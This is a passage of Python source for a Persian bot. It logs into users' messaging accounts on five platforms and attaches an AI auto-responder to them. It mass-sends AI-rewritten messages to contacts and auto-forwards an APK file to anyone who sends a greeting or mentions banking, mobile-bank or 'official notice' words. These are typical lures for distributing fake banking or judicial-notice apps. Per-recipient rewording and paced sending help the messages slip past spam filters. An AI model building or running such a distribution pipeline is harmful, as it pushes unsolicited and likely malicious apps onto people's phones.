            pass

        try:
            _db().execute(
                "INSERT OR IGNORE INTO ai_bindings("
                "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
                ") VALUES(?,?,?,?,?,?,?)",
                (uid, aid, 1, 1, 0, now(), now()),
            )
            _db().execute(
                "UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",
                (now(), uid, aid),
            )
        except Exception:
            pass

        try:
            trx.log_account_activity(aid, uid, "login", "shad", 1)
            trx.log_event(uid, "ACCOUNT_ADDED", "shad")
        except Exception:
            pass

        try:
            trx._register_ai_handler(client, uid, "shad", aid)
        except Exception as exc:
            _log().warning(f"[RUN] shad AI handler: {_mask(str(exc))}")

        return True, "حساب شاد با موفقیت اضافه شد."
    except Exception as exc:
        _log().warning(f"[RUN] shad_verify failed: {_mask(str(exc))}")
        return False, f"اتصال شاد ناموفق بود: {_mask(str(exc))[:500]}"


trx.SERVICE_HANDLERS["shad"] = {
    "send": _wrap_otp_handler("shad", shad_send_code),
    "verify": shad_verify,
}


# ═══════════════════════════════════════════════════════════════════
# 8) TELEGRAM
# ═══════════════════════════════════════════════════════════════════

def _ensure_telethon_installed():
    try:
        import telethon  # noqa
        return True
    except Exception:
        pass
    for flags in (["--user"], [], ["--break-system-packages"]):
        try:
            subprocess.check_call(
                [sys.executable, "-m", "pip", "install", "-U", "telethon"] + flags,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.STDOUT,
            )
            break
        except Exception:
            continue
    try:
        import telethon  # noqa
        return True
    except Exception:
        return False


async def _telegram_send_code(uid: int, phone: str) -> Tuple[bool, Any]:
    if not _ensure_telethon_installed():
        return False, "Telethon نصب نشد."
    api_id = getattr(trx, "TRX_TELEGRAM_API_ID", 0)
    api_hash = getattr(trx, "TRX_TELEGRAM_API_HASH", "")
    if not api_id or not api_hash:
        return False, "TRX_TELEGRAM_API_ID/HASH تنظیم نشده."

    try:
        from telethon import TelegramClient
        from telethon.sessions import StringSession
    except Exception as exc:
        return False, f"Telethon import failed: {_mask(str(exc))}"

    client = None
    try:
        client = TelegramClient(StringSession(), api_id, api_hash)
        await client.connect()
        sent = await client.send_code_request(phone)
        phone_hash = getattr(sent, "phone_code_hash", None)
        if not phone_hash:
            return False, "Telegram phone_code_hash برنگرداند."
        trx.active_clients[uid] = {
            "client": client, "service": "telegram",
            "phone": phone, "hash": phone_hash,
            "backend": "telethon", "created_at": time.time(),
            "connected": False,
        }
        return True, sent
    except Exception as exc:
        try:
            if client is not None:
                await client.disconnect()
        except Exception:
            pass
        return False, f"ارسال کد تلگرام ناموفق: {_mask(str(exc))[:400]}"


async def _telegram_verify(uid: int, code: str) -> Tuple[bool, Any]:
    info = trx.active_clients.get(uid)
    if not info or info.get("service") != "telegram":
        return False, "نشست ورود تلگرام پیدا نشد."
    client = info.get("client")
    if client is None:
        return False, "کلاینت تلگرام در دسترس نیست."
    try:
        from telethon.errors import SessionPasswordNeededError
        try:
            await client.sign_in(
                phone=info.get("phone"),
                code=str(code).strip(),
                phone_code_hash=info.get("hash"),
            )
        except SessionPasswordNeededError:
            return False, "این حساب تلگرام 2FA دارد و رمز دوم لازم است."

        session_str = client.session.save()
        me = await client.get_me()

        cur = _db().execute(
            "INSERT INTO accounts(user_id,service,phone,session,status,added_at) "
            "VALUES(?,?,?,?,?,?)",
            (uid, "telegram", info.get("phone", ""), session_str, "online", now()),
        )
        aid = int(cur.lastrowid)

        try:
            trx.active_clients[uid]["connected"] = True
            trx.active_clients[uid]["account_id"] = aid
            trx.ai_live_clients[(uid, aid)] = client
        except Exception:
            pass

        try:
            _db().execute(
                "INSERT OR IGNORE INTO ai_bindings("
                "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
                ") VALUES(?,?,?,?,?,?,?)",
                (uid, aid, 1, 1, 0, now(), now()),
            )
            _db().execute(
                "UPDATE ai_bindings SET enabled=1,updated_at=? WHERE user_id=? AND account_id=?",
                (now(), uid, aid),
            )
        except Exception:
            pass

        try:
            trx.log_account_activity(aid, uid, "login", "telegram", 1)
            trx.log_event(uid, "ACCOUNT_ADDED", "telegram")
        except Exception:
            pass

        try:
            trx._register_ai_handler(client, uid, "telegram", aid)
        except Exception as exc:
            _log().warning(f"[RUN] telegram AI handler: {_mask(str(exc))}")

        return True, me
    except Exception as exc:
        _log().warning(f"[RUN] telegram verify failed: {_mask(str(exc))}")
        return False, f"تأیید کد تلگرام ناموفق: {_mask(str(exc))[:400]}"


trx.SERVICE_HANDLERS["telegram"] = {
    "send": _wrap_otp_handler("telegram", _telegram_send_code),
    "verify": _telegram_verify,
}


# ═══════════════════════════════════════════════════════════════════
# 9) AI Activation after login
# ═══════════════════════════════════════════════════════════════════

def _wrap_verify_with_ai_binding(svc_name, verify_fn):
    async def wrapped(uid, code):
        try:
            ok, info = await verify_fn(uid, code)
        except Exception as exc:
            _log().error(f"[RUN] {svc_name} verify crashed: {_mask(str(exc))}")
            return False, f"خطا در تأیید {svc_name}: {_mask(str(exc))[:300]}"
        if ok:
            try:
                row = _db().fetchone(
                    "SELECT id FROM accounts WHERE user_id=? AND service=? "
                    "ORDER BY id DESC LIMIT 1",
                    (uid, svc_name),
                )
                if row:
                    aid = int(row["id"])
                    _db().execute(
                        "INSERT OR IGNORE INTO ai_bindings("
                        "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
                        ") VALUES(?,?,?,?,?,?,?)",
                        (uid, aid, 1, 1, 0, now(), now()),
                    )
                    _db().execute(
                        "UPDATE ai_bindings SET enabled=1,updated_at=? "
                        "WHERE user_id=? AND account_id=?",
                        (now(), uid, aid),
                    )
                    client = trx.ai_live_clients.get((uid, aid))
                    if client is not None:
                        try:
                            trx._register_ai_handler(client, uid, svc_name, aid)
                        except Exception as exc:
                            _log().warning(
                                f"[RUN] AI register after {svc_name}: {_mask(str(exc))}"
                            )
            except Exception as exc:
                _log().warning(
                    f"[RUN] AI binding after {svc_name} failed: {_mask(str(exc))}"
                )
        return ok, info
    return wrapped


for _svc in list(trx.SERVICE_HANDLERS.keys()):
    try:
        _verify_orig = trx.SERVICE_HANDLERS[_svc].get("verify")
        if _verify_orig is not None:
            trx.SERVICE_HANDLERS[_svc]["verify"] = _wrap_verify_with_ai_binding(_svc, _verify_orig)
    except Exception as exc:
        _log().warning(f"[RUN] cannot wrap verify for {_svc}: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 10) AI System Prompt — Persian Friend Style
# ═══════════════════════════════════════════════════════════════════

_orig_trx_ai_system = trx._trx_ai_system


def _enhanced_ai_system(uid, account_id, mode="reply", extra=""):
    base = _orig_trx_ai_system(uid, account_id, mode, extra)
    return base + "\n\n" + TRX_PERSIAN_FRIEND_STYLE


try:
    trx._trx_ai_system = _enhanced_ai_system
    # Also update the local reference used inside the run file
    _trx_ai_system = _enhanced_ai_system
except Exception as exc:
    _log().warning(f"[RUN] cannot override _trx_ai_system: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 11) AI menu — append bulk.contacts
# ═══════════════════════════════════════════════════════════════════

_orig_ai_advanced_menu = trx.ai_advanced_menu


def _wrapped_ai_advanced_menu(lang, uid):
    base = _orig_ai_advanced_menu(lang, uid)
    try:
        data = json.loads(json.dumps(base, ensure_ascii=False))
        rows = data.get("inline_keyboard", [])
        flat = [btn.get("callback_data") for row in rows for btn in row]
        if "ai.bulk.contacts" in flat:
            return base
        insert_at = max(0, len(rows) - 1)
        new_rows = []
        new_rows.append([
            {"text": "📨 پیام به مخاطبین",
             "callback_data": "ai.bulk.contacts",
             "style": "primary"},
        ])
        rows[insert_at:insert_at] = new_rows
        data["inline_keyboard"] = rows
        return data
    except Exception as exc:
        _log().warning(f"[RUN] ai menu append failed: {_mask(str(exc))}")
        return base


trx.ai_advanced_menu = _wrapped_ai_advanced_menu


# ═══════════════════════════════════════════════════════════════════
# 12) AI BINDING KEYBOARD — 5 platforms
# ═══════════════════════════════════════════════════════════════════

def _ai_platform_kb_5():
    return IKB([
        [("🔵 روبیکا", "ai.bind.plat:rubika", "primary"),
         ("🟢 سروش پلاس", "ai.bind.plat:soroush", "success")],
        [("🟡 بله", "ai.bind.plat:bale", "primary"),
         ("🟦 تلگرام", "ai.bind.plat:telegram", "primary")],
        [("🟩 شاد", "ai.bind.plat:shad", "success")],
        [("↩️ بازگشت", "ai", "primary")],
    ])


try:
    trx._ai_platform_kb = _ai_platform_kb_5
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════
# 13) TABCHI / CHANNEL platforms
# ═══════════════════════════════════════════════════════════════════

def _task_platform_kb_5(lang, kind):
    prefix = f"trx01.task.{kind}.platform"
    return IKB([
        [("🟡 بله", f"{prefix}:bale", "primary"),
         ("🔴 سروش پلاس", f"{prefix}:soroush", "danger")],
        [("🔵 روبیکا", f"{prefix}:rubika", "primary"),
         ("🟦 تلگرام", f"{prefix}:telegram", "primary")],
        [("🟩 شاد", f"{prefix}:shad", "success")],
        [("↩️ بازگشت", "ai", "primary")],
    ])


try:
    trx._trx115_task_platform_kb_v14 = _task_platform_kb_5
except Exception:
    pass


# ═══════════════════════════════════════════════════════════════════
# 14) Helpers
# ═══════════════════════════════════════════════════════════════════

def _platform_kb_5(lang, prefix, back="ai"):
    en = str(lang or "fa").lower().startswith("en")
    return IKB([
        [("🟡 بله" if not en else "🟡 Bale", f"{prefix}:bale", "primary"),
         ("🔴 سروش پلاس" if not en else "🔴 Soroush", f"{prefix}:soroush", "danger")],
        [("🔵 روبیکا" if not en else "🔵 Rubika", f"{prefix}:rubika", "primary"),
         ("🟦 تلگرام" if not en else "🟦 Telegram", f"{prefix}:telegram", "primary")],
        [("🟩 شاد" if not en else "🟩 Shad", f"{prefix}:shad", "success")],
        [("↩️ بازگشت" if not en else "↩️ Back", back, "primary")],
    ])


def _account_kb_for(uid, lang, prefix, platform, back="ai"):
    """keyboard: {prefix}:{account_id}:{platform} — parse با parts[1] و parts[2]"""
    en = str(lang or "fa").lower().startswith("en")
    try:
        rows = _db().fetchall(
            "SELECT id,phone FROM accounts WHERE user_id=? AND service=? AND enabled=1 "
            "ORDER BY id DESC",
            (uid, platform),
        )
    except Exception:
        rows = []
    btns = []
    for r in rows:
        label = f"#{r['id']} — {trx._mask_phone(r['phone']) if r['phone'] else '—'}"
        btns.append([(label, f"{prefix}:{r['id']}:{platform}", "primary")])
    if not btns:
        btns.append([("❌ اکانت فعالی نداری" if not en else "❌ No active account", back, "danger")])
    else:
        btns.append([("↩️ بازگشت" if not en else "↩️ Back", back, "primary")])
    return IKB(btns)


def _parse_cb_aid_platform(data_s):
    """parse 'prefix:aid:platform' → (aid, platform) یا (None, None)"""
    parts = str(data_s or "").split(":")
    if len(parts) < 3:
        return None, None
    try:
        aid = int(parts[1])
    except Exception:
        return None, None
    platform = parts[2] if parts[2] in ALL_PLATFORMS else "rubika"
    return aid, platform


# ═══════════════════════════════════════════════════════════════════
# 15) APK intent detection for PV auto-forward
# ═══════════════════════════════════════════════════════════════════

_APK_INTENT_KEYWORDS = (
    "apk", "اپلیکیشن", "اپلیکشن", "برنامه", "برنامت", "بازی", "ابلاغیه",
    "بانک", "همراه بانک", "فایل", "دانلود", "لینک", "نصب", "بفرست",
    "برنامه رو", "فایل رو", "بفرستش", "برنامرو", "کاربرگ", "app",
)


def _trx222_apk_intent(text):
    if not text:
        return False
    txt = str(text).strip().lower()
    # سلام / خوبی به تنهایی هم در PV باید APK بفرسته (طبق درخواست)
    if txt in ("سلام", "خوبی", "سلام خوبی", "خوبی سلام", "سلان"):
        return True
    # کلمهٔ کلیدی
    for kw in _APK_INTENT_KEYWORDS:
        if kw in txt:
            return True
    return False


# ═══════════════════════════════════════════════════════════════════
# 16) Workers
# ═══════════════════════════════════════════════════════════════════

async def _apksend_worker(uid, aid, platform, apk_id, peers, batch_id, chat_id, lang):
    """فوروارد پست APK به لیست peer ها با تاخیر ۷ ثانیه."""
    sent, failed = 0, 0
    for idx, peer in enumerate(peers):
        try:
            ok, info = await trx._trx_forward_source_apk_v11(uid, aid, peer, apk_id)
        except Exception as exc:
            ok, info = False, str(exc)
        try:
            _db().execute(
                "INSERT INTO trx222b_apk_send_log("
                "user_id,account_id,platform,peer_id,apk_id,success,batch_id,created_at"
                ") VALUES(?,?,?,?,?,?,?,?)",
                (uid, aid, platform, str(peer), int(apk_id), 1 if ok else 0, batch_id, now()),
            )
        except Exception:
            pass
        if ok:
            sent += 1
        else:
            failed += 1
        if idx < len(peers) - 1:
            await asyncio.sleep(7)

    try:
        await _bot().send(
            chat_id,
            f"{SEP}\n📊 **گزارش ارسال APK**\n{SEP}\n\n"
            f"✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n"
            f"✦ پلتفرم: **{_trx01_service_label(platform)}**\n"
            f"✦ اکانت: `#{aid}`\n✦ زمان: `{now()}`\n\n{SEP2}",
            reply_markup=trx.ai_advanced_menu(get_lang(uid), uid),
        )
    except Exception as exc:
        _log().warning(f"[RUN] apksend report failed: {_mask(str(exc))}")


async def _get_contacts_for(uid, aid, platform, limit=150):
    """دریافت مخاطبین (private) از دیتابیس."""
    contacts: List[str] = []
    try:
        rows = _db().fetchall(
            "SELECT peer_id FROM trx01_known_peers "
            "WHERE user_id=? AND account_id=? AND platform=? AND peer_type='private' "
            "ORDER BY last_seen DESC LIMIT ?",
            (uid, aid, platform, int(limit)),
        )
        contacts = [str(r["peer_id"]) for r in rows if r["peer_id"]]
    except Exception:
        contacts = []
    out, seen = [], set()
    for c in contacts:
        if c not in seen:
            seen.add(c)
            out.append(c)
    return out[:limit]


async def _pv_worker(uid, aid, platform, prompt_text, ids, batch_id, chat_id, lang):
    """ارسال PV با AI برای هر نفر + ادامه مکالمه."""
    sent, failed = 0, 0
    for idx, peer in enumerate(ids):
        try:
            sys_prompt = _trx_ai_system(
                uid, aid, "pv_outreach",
                f"Recipient={peer}. Produce one unique message for this specific contact. "
                "Use the user's persona and Persian friend style. If they reply, continue naturally.",
            )
            msgs = [
                {"role": "system", "content": sys_prompt},
                {"role": "user", "content":
                    f"این پیام رو با لحن طبیعی و متناسب با همین مخاطب خاص بنویس:\n\n{prompt_text}"},
            ]
            unique = await _ai().chat(
                msgs, uid=uid, account_id=aid,
                action_type="pv_outreach", temperature=0.9, max_tokens=400,
            )
            unique = _trx115_cleanup_caption(unique or prompt_text)

            client = trx.ai_live_clients.get((uid, aid)) or await trx._ensure_ai_client(uid, aid)
            ok = False
            if client is not None:
                send = getattr(client, "send_message", None)
                if callable(send):
                    try:
                        res = send(peer, unique)
                        if asyncio.iscoroutine(res):
                            await res
                        ok = True
                    except Exception as exc:
                        _log().debug(f"[RUN] pv send {peer}: {_mask(str(exc))}")

            try:
                _db().execute(
                    "INSERT INTO trx222b_pv_log("
                    "user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at"
                    ") VALUES(?,?,?,?,?,?,?,?)",
                    (uid, aid, platform, str(peer), unique[:500], 1 if ok else 0, batch_id, now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
                _trx_memory_save(uid, aid, str(peer), "assistant", unique)
                try:
                    _db().execute(
                        "INSERT OR REPLACE INTO trx01_known_peers("
                        "user_id,account_id,platform,peer_id,peer_type,last_seen"
                        ") VALUES(?,?,?,?,?,?)",
                        (uid, aid, platform, str(peer), "private", now()),
                    )
                except Exception:
                    pass
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            _log().warning(f"[RUN] pv {peer}: {_mask(str(exc))}")
        if idx < len(ids) - 1:
            await asyncio.sleep(7)

    try:
        await _bot().send(
            chat_id,
            f"{SEP}\n📊 **گزارش ارسال PV**\n{SEP}\n\n"
            f"✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n"
            f"✦ پلتفرم: **{_trx01_service_label(platform)}**\n"
            f"✦ اکانت: `#{aid}`\n✦ زمان: `{now()}`\n\n{SEP2}",
            reply_markup=trx.ai_advanced_menu(get_lang(uid), uid),
        )
    except Exception as exc:
        _log().warning(f"[RUN] pv report failed: {_mask(str(exc))}")


async def _bulk_worker(uid, aid, platform, base_text, contacts, batch_id, chat_id, lang):
    """ارسال پیام به همه مخاطبین با AI بازنویسی‌شده برای هر نفر."""
    sent, failed = 0, 0
    for idx, peer in enumerate(contacts):
        try:
            memory = _trx_memory_load(uid, aid, str(peer), 6)
            sys_prompt = _trx_ai_system(
                uid, aid, "bulk_pv",
                f"Peer={peer}. Rewrite the base text for this specific contact. "
                "Use the user's persona and Persian friend style. If they reply, continue naturally.",
            )
            msgs = [{"role": "system", "content": sys_prompt}]
            msgs.extend(memory)
            msgs.append({"role": "user", "content":
                f"این متن رو برای این مخاطب خاص بازنویسی کن هم‌معنا ولی متفاوت:\n\n{base_text}"})

            unique = await _ai().chat(
                msgs, uid=uid, account_id=aid,
                action_type="bulk_pv", temperature=0.9, max_tokens=400,
            )
            unique = _trx115_cleanup_caption(unique or base_text)

            client = trx.ai_live_clients.get((uid, aid)) or await trx._ensure_ai_client(uid, aid)
            ok = False
            if client is not None:
                send = getattr(client, "send_message", None)
                if callable(send):
                    try:
                        res = send(peer, unique)
                        if asyncio.iscoroutine(res):
                            await res
                        ok = True
                    except Exception as exc:
                        _log().debug(f"[RUN] bulk send {peer}: {_mask(str(exc))}")

            try:
                _db().execute(
                    "INSERT INTO trx222b_bulk_log("
                    "user_id,account_id,platform,peer_id,message_text,success,batch_id,created_at"
                    ") VALUES(?,?,?,?,?,?,?,?)",
                    (uid, aid, platform, str(peer), unique[:500], 1 if ok else 0, batch_id, now()),
                )
            except Exception:
                pass

            if ok:
                sent += 1
                _trx_memory_save(uid, aid, str(peer), "assistant", unique)
            else:
                failed += 1
        except asyncio.CancelledError:
            raise
        except Exception as exc:
            failed += 1
            _log().warning(f"[RUN] bulk {peer}: {_mask(str(exc))}")
        if idx < len(contacts) - 1:
            await asyncio.sleep(7)

    try:
        await _bot().send(
            chat_id,
            f"{SEP}\n📊 **گزارش ارسال به مخاطبین**\n{SEP}\n\n"
            f"✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n"
            f"✦ پلتفرم: **{_trx01_service_label(platform)}**\n"
            f"✦ اکانت: `#{aid}`\n✦ زمان: `{now()}`\n\n{SEP2}",
            reply_markup=trx.ai_advanced_menu(get_lang(uid), uid),
        )
    except Exception as exc:
        _log().warning(f"[RUN] bulk report failed: {_mask(str(exc))}")


# ═══════════════════════════════════════════════════════════════════
# 17) APK TRAINING TEXT
# ═══════════════════════════════════════════════════════════════════

def _apk_training_text(lang):
    return (
        f"{SEP}\n📚 **آموزش ثبت APK**\n{SEP}\n\n"
        "1️⃣ وارد کانال خودت بشو (یا بساز)\n"
        "2️⃣ فایل APK رو داخل همون کانال آپلود کن\n"
        "3️⃣ روی پیام APK بزن و از منوی **...** گزینه **کپی لینک پست** رو بزن\n"
        "4️⃣ به ربات برگرد و **➕ تنظیم APK** رو بزن\n"
        "5️⃣ پلتفرم رو انتخاب کن\n"
        "6️⃣ اکانتی که به اون کانال دسترسی داره رو انتخاب کن\n"
        "7️⃣ لینک مستقیم پست APK رو بفرست (نه لینک دعوت)\n"
        "8️⃣ ربات تأیید می‌ده\n\n"
        "⚠️ فقط APKهایی رو ثبت کن که مالک یا مجاز به توزیعشون هستی\n\n" + SEP2
    )


# ═══════════════════════════════════════════════════════════════════
# 18) Banners menu append
# ═══════════════════════════════════════════════════════════════════

_orig_admin_banners_menu = getattr(trx, "admin_banners_menu", None)


def _wrapped_admin_banners_menu(lang):
    if _orig_admin_banners_menu is None:
        return IKB([[("↩️ بازگشت", "admin", "primary")]])
    try:
        base = _orig_admin_banners_menu(lang)
    except Exception:
        return IKB([[("↩️ بازگشت", "admin", "primary")]])
    try:
        data = json.loads(json.dumps(base, ensure_ascii=False))
        rows = data.get("inline_keyboard", [])
        flat = [b.get("callback_data") for row in rows for b in row]
        new_slots = [
            ("📊 بنر گزارش‌ها", "adm.banner.slot:reports"),
            ("📚 بنر آموزش", "adm.banner.slot:tutorial"),
            ("⚙️ بنر تنظیمات", "adm.banner.slot:settings"),
            ("👤 بنر پروفایل", "adm.banner.slot:profile"),
            ("🏠 بنر داشبورد", "adm.banner.slot:dashboard"),
        ]
        add_rows = []
        for label, cb in new_slots:
            if cb not in flat:
                add_rows.append([{"text": label, "callback_data": cb, "style": "primary"}])
        if not add_rows:
            return base
        insert_at = max(0, len(rows) - 1)
        rows[insert_at:insert_at] = add_rows
        data["inline_keyboard"] = rows
        return data
    except Exception as exc:
        _log().warning(f"[RUN] admin_banners_menu wrap failed: {_mask(str(exc))}")
        return base


if _orig_admin_banners_menu is not None:
    trx.admin_banners_menu = _wrapped_admin_banners_menu


# ═══════════════════════════════════════════════════════════════════
# 19) DISPATCH PRE-HOOK — FULL FIXED
# ═══════════════════════════════════════════════════════════════════

_orig_dispatch = trx.dispatch_cb


async def _dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")

    # ── STEP 1: ack ─────────────────────────────────────────────
    await _safe_answer_cb(cb_id)

    try:
        # ── admin ────────────────────────────────────────────────
        if data_s == "admin":
            if not is_admin(uid):
                return await _safe_edit(
                    chat_id, msg_id, t(lang, "no_access"),
                    trx.main_menu(lang, uid),
                )
            try:
                kb = trx.admin_menu(lang)
            except Exception as exc:
                _log().error(f"[RUN] admin_menu build failed: {_mask(str(exc))}")
                kb = IKB([[("↩️ بازگشت", "menu", "primary")]])
            try:
                return await _panel_with_banner(
                    chat_id, msg_id, t(lang, "admin.title"), kb,
                    slot="admin", lang=lang,
                )
            except Exception as exc:
                _log().error(f"[RUN] admin panel render failed: {_mask(str(exc))}")
                return await _safe_edit(chat_id, msg_id, t(lang, "admin.title"), kb)

        # ── main AI panel ───────────────────────────────────────
        if data_s == "ai":
            try:
                kb = trx.ai_advanced_menu(lang, uid)
            except Exception as exc:
                _log().error(f"[RUN] ai_advanced_menu build failed: {_mask(str(exc))}")
                kb = IKB([[("↩️ بازگشت", "menu", "primary")]])
            text = (
                "🤖 **پنل هوش مصنوعی**\n\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "تنظیمات، لحن، دانش محصول، اهداف و آمار از این بخش مدیریت می‌شود."
            )
            return await _panel_with_banner(
                chat_id, msg_id, text, kb,
                slot="ai_panel", lang=lang,
            )

        # ── AI Bindings list ────────────────────────────────────
        if data_s == "ai.bindings":
            bindings_text = "🔗 **اتصال AI به اکانت‌ها**\n\nپلتفرم مورد نظر را انتخاب کن:"
            try:
                if hasattr(trx, "_ai_binding_text"):
                    extra = trx._ai_binding_text(uid)
                    if extra:
                        bindings_text += "\n\n" + str(extra)
            except Exception:
                pass
            return await _safe_edit(
                chat_id, msg_id, bindings_text, _ai_platform_kb_5(),
            )

        # ── AI BIND platform → accounts ─────────────────────────
        if data_s.startswith("ai.bind.plat:"):
            plat = data_s.split(":", 1)[1]
            if plat not in ALL_PLATFORMS:
                return await _safe_edit(
                    chat_id, msg_id, "❌ پلتفرم نامعتبر است.",
                    _ai_platform_kb_5(),
                )
            try:
                rows = _db().fetchall(
                    "SELECT * FROM accounts WHERE user_id=? AND service=? AND enabled=1 "
                    "ORDER BY id DESC",
                    (uid, plat),
                )
            except Exception:
                rows = []
            if not rows:
                return await _safe_edit(
                    chat_id, msg_id,
                    f"❌ هیچ اکانت فعال {_platform_name(plat, lang)} پیدا نشد.\n\n"
                    f"اول از بخش حساب‌ها یک اکانت {_platform_name(plat, lang)} اضافه کن.",
                    IKB([
                        [("➕ افزودن حساب", "acc", "primary")],
                        [("↩️ بازگشت", "ai.bindings", "primary")],
                    ]),
                )
            btns = []
            for a in rows:
                b = _db().fetchone(
                    "SELECT enabled FROM ai_bindings WHERE account_id=? AND user_id=?",
                    (a["id"], uid),
                )
                st = "🟢" if (b and b["enabled"]) else "⚪"
                phone = trx._mask_phone(a["phone"]) if a["phone"] else "—"
                btns.append([
                    (f"{st} #{a['id']} — {phone}",
                     f"ai.bind.account:{a['id']}", "primary"),
                ])
            btns.append([("↩️ بازگشت", "ai.bindings", "primary")])
            return await _safe_edit(
                chat_id, msg_id,
                f"🔗 **اکانت‌های {_platform_name(plat, lang)}**\n\n"
                f"یکی را انتخاب کن تا AI روش فعال بشه:",
                IKB(btns),
            )

        # ── AI BIND account selected ────────────────────────────
        if data_s.startswith("ai.bind.account:"):
            try:
                aid = int(data_s.split(":", 1)[1])
            except Exception:
                return await _safe_edit(
                    chat_id, msg_id, "❌ آیدی اکانت نامعتبر.",
                    _ai_platform_kb_5(),
                )
            a = _db().fetchone(
                "SELECT * FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not a:
                return await _safe_edit(
                    chat_id, msg_id, "❌ اکانت پیدا نشد.",
                    _ai_platform_kb_5(),
                )
            try:
                _db().execute(
                    "INSERT OR IGNORE INTO ai_bindings("
                    "user_id,account_id,enabled,auto_reply_pv,auto_reply_group,created_at,updated_at"
                    ") VALUES(?,?,?,?,?,?,?)",
                    (uid, aid, 1, 1, 0, now(), now()),
                )
                _db().execute(
                    "UPDATE ai_bindings SET enabled=1,updated_at=? "
                    "WHERE user_id=? AND account_id=?",
                    (now(), uid, aid),
                )
            except Exception as exc:
                _log().warning(f"[RUN] AI binding enable failed: {_mask(str(exc))}")

            registered = False
            try:
                client = trx.ai_live_clients.get((uid, aid))
                if client is None:
                    client = await trx._ensure_ai_client(uid, aid)
                if client is not None:
                    registered = bool(
                        trx._register_ai_handler(client, uid, a["service"], aid)
                    )
            except Exception as exc:
                _log().warning(f"[RUN] AI handler register failed: {_mask(str(exc))}")

            note = "" if registered else (
                "\n\n⚠️ نشست زنده این اکانت در حافظه نیست؛ "
                "برای پاسخ خودکار اکانت را دوباره لاگین کن."
            )
            try:
                kb = trx.ai_manage_kb(aid, lang) if callable(
                    getattr(trx, "ai_manage_kb", None)
                ) else IKB([[("↩️ بازگشت", "ai.bindings", "primary")]])
            except Exception:
                kb = IKB([[("↩️ بازگشت", "ai.bindings", "primary")]])

            return await _safe_edit(
                chat_id, msg_id,
                f"✅ **AI روی این اکانت فعال شد**\n\n"
                f"📱 پلتفرم: **{_platform_name(a['service'], lang)}**\n"
                f"🆔 اکانت: `#{aid}`\n"
                f"📞 {trx._mask_phone(a['phone']) if a['phone'] else '—'}"
                f"{note}\n\n"
                f"اول دکمه 🧪 تست رو بزن.",
                kb,
            )

        # ── APK INTENT: ai.apk.send — NEW FLOW ──────────────────
        if data_s == "ai.apk.send":
            return await _safe_edit(
                chat_id, msg_id,
                "📤 **ارسال APK**\n\n"
                "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n"
                "اول پلتفرم رو انتخاب کن:",
                _platform_kb_5(lang, "trx222b.apksend.plat", back="ai"),
            )

        if data_s.startswith("trx222b.apksend.plat:"):
            platform = data_s.split(":", 1)[1]
            if platform not in ALL_PLATFORMS:
                return await _safe_edit(chat_id, msg_id, "❌ پلتفرم نامعتبر.", trx.main_menu(lang, uid))
            return await _safe_edit(
                chat_id, msg_id,
                f"📱 اکانت {_platform_name(platform, lang)} رو انتخاب کن:",
                _account_kb_for(
                    uid, lang, "trx222b.apksend.acc", platform,
                    back="ai.apk.send",
                ),
            )

        # FIXED: parse با parts[1] و parts[2]
        if data_s.startswith("trx222b.apksend.acc:"):
            aid, platform = _parse_cb_aid_platform(data_s)
            if aid is None:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ آیدی نامعتبر. لطفاً دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.apksend.plat", back="ai"),
                )
            # validation
            row = _db().fetchone(
                "SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1",
                (aid, uid),
            )
            if not row:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ این اکانت پیدا نشد. دوباره انتخاب کن.",
                    _platform_kb_5(lang, "trx222b.apksend.plat", back="ai"),
                )
            state.set(uid, "trx222b_apksend_link",
                      account_id=aid, platform=platform, service=platform)
            return await _safe_edit(
                chat_id, msg_id,
                "📎 **لینک مستقیم پست APK**\n\n"
                "لینک همان پیام فایل APK را بفرست (نه لینک دعوت کانال):",
                IKB([[("❌ لغو", "cancel", "danger")]]),
            )

        if data_s == "trx222b.apksend.all":
            s = state.get(uid)
            if not s or s.get("state") != "trx222b_apksend_recipients":
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ منقضی شده. از اول شروع کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            aid = int(s["account_id"])
            platform = s["platform"]
            apk_id = int(s["apk_id"])
            peers = await _get_contacts_for(uid, aid, platform, limit=150)
            if not peers:
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ هیچ مخاطبی در دیتابیس پیدا نشد.\n\n"
                    "برای پر شدن لیست مخاطبین، کاربران باید به اکانت پیام بدن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            batch_id = f"apksend-{int(time.time())}"
            state.pop(uid)
            await _safe_edit(
                chat_id, msg_id,
                f"⏳ ارسال APK به **{len(peers)}** مخاطب شروع شد...",
                IKB([[("↩️ بازگشت", "ai", "primary")]]),
            )
            _trx_task_create(_apksend_worker(
                uid, aid, platform, apk_id, peers, batch_id, chat_id, lang,
            ))
            return

        if data_s == "trx222b.apksend.manual":
            s = state.get(uid)
            if not s or s.get("state") != "trx222b_apksend_recipients":
                state.pop(uid)
                return await _safe_edit(
                    chat_id, msg_id,
                    "❌ منقضی شده. از اول شروع کن.",
                    trx.ai_advanced_menu(lang, uid),
                )
            state.set(uid, "trx222b_apksend_manual",
                      account_id=int(s["account_id"]),
                      platform=s["platform"],
